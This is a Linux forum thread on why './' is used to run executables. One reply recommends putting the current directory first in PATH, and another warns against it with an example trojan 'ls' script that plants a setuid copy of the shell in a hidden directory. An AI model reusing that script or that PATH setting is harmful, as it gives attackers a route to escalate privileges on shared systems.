Please guide

[atif_majid10]

Hi There
I think this is not a programming question but I could not find any suitable forum to ask in linuxpakistan.net. Here is the problem...

Sometimes we use "./" to run some binary executable file. What is the purpose of this "./".

Thanks
Atif Majid

[farhantoqeer]

./ is used to execute the binary from the present working directory.

[wacky]

Obviously you can put "./" in your PATH env variable like so:

Code: Select all

export PATH="$PATH:./"

and then you don't have to type "./" in front of your executable. The danger here is that if that executable also exists in another dir and that dir is part of $PATH, then it'll be run from that dir rather than "./".
To overcome this limitation, you can specify your PATH like so:

Code: Select all

export PATH="./:$PATH"

Now if you type an executable name, it'll look in your current working directory first and then in other dirs in the $PATH variable.

Regards
wacky

[lambda]

don't put the dot in front of your path. ever. bad idea. don't do it. it's a security risk.

suppose you have a dot at the front of your path. you cd to /tmp and type "ls" to see what files are there. only...someone has created a shell script in /tmp called "ls". it looks like

Code: Select all

#!/bin/sh

cp /bin/sh /var/tmp/.save/$USER
chmod 6755 /var/tmp/.save/$USER
exec /bin/ls "$@"

what do you think this will do?